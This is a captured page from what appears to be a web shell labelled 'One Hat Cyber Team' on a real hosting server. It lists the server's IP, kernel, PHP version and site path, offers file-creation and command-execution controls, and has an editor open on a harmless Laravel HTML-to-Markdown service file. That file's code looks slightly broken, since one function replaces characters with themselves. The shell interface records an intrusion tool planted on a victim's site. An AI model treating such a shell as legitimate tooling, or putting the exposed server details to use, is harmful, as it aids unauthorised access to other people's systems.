One Hat Cyber Team
Your IP :
3.23.61.5
Server IP :
162.241.123.123
Server :
Linux sh016.hostgator.in 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Server Software :
Apache
PHP Version :
8.2.25
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home1
/
saicsazq
/
keedoai.com
/
app
/
Services
/
Edit File:
ParseHTML.php
<?php namespace App\Services; use GuzzleHttp\Client; use Illuminate\Support\Facades\Log; use League\HTMLToMarkdown\HtmlConverter; use Symfony\Component\DomCrawler\Crawler; class ParseHTML { public $title; private $converter; public function __construct() { $this->converter = new HtmlConverter(array('strip_tags' => true, 'strip_placeholder_links' => true)); } private function removeHrefAttribute($htmlString) { $pattern = '/<a\b[^>]*\bhref\s*=\s*"[^"]*"[^>]*>/i'; $replacement = '<a>'; $result = preg_replace($pattern, $replacement, $htmlString); return $result; } private function cleanHtml($htmlContent) { // Clean this tags: <style> <script> <span> <footer> <aside> <nav> $cleanHtml = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $htmlContent); $cleanHtml = preg_replace('/<style\b[^>]*>(.*?)<\/style>/is', '', $cleanHtml); $cleanHtml = preg_replace('/<svg\b[^>]*>(.*?)<\/svg>/is', '', $cleanHtml); $cleanHtml = preg_replace('/<picture\b[^>]*>(.*?)<\/picture>/is', '', $cleanHtml); $cleanHtml = preg_replace('/<form\b[^>]*>(.*?)<\/form>/is', '', $cleanHtml); $cleanHtml = preg_replace('/<footer\b[^>]*>(.*?)<\/footer>/is', '', $cleanHtml); $cleanHtml = preg_replace('/<nav\b[^>]*>(.*?)<\/nav>/is', '', $cleanHtml); $cleanHtml = preg_replace('/<span[^>]*>(.*?)<\/span>/is', '$1', $cleanHtml); $cleanHtml = $this->removeHrefAttribute($cleanHtml); return trim($cleanHtml); } private function reverseLTGT($input) { $output = str_replace('<', '<', $input); $output = str_replace('>', '>', $output); return $output; } public function handle($url) { $url = $url; $client = new Client(); $response = $client->get($url, [ 'headers' => [ 'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', 'Accept-Encoding' => 'gzip', ], ]); $htmlContent = $response->getBody()->getContents(); $cleanHtml = $this->cleanHtml($htmlContent); $this->converter->getEnvironment()->addConverter(new PreTagConverter()); $markdownContent = $this->converter->convert($cleanHtml); $markdownContent = $this->reverseLTGT($markdownContent); try { $dom = new Crawler($htmlContent); $this->title = $dom->filter('title')->first()->text(); } catch (\Exception $e) { $this->title = substr($markdownContent, 0, strpos($markdownContent, "\n")); } return $markdownContent; } }
Simpan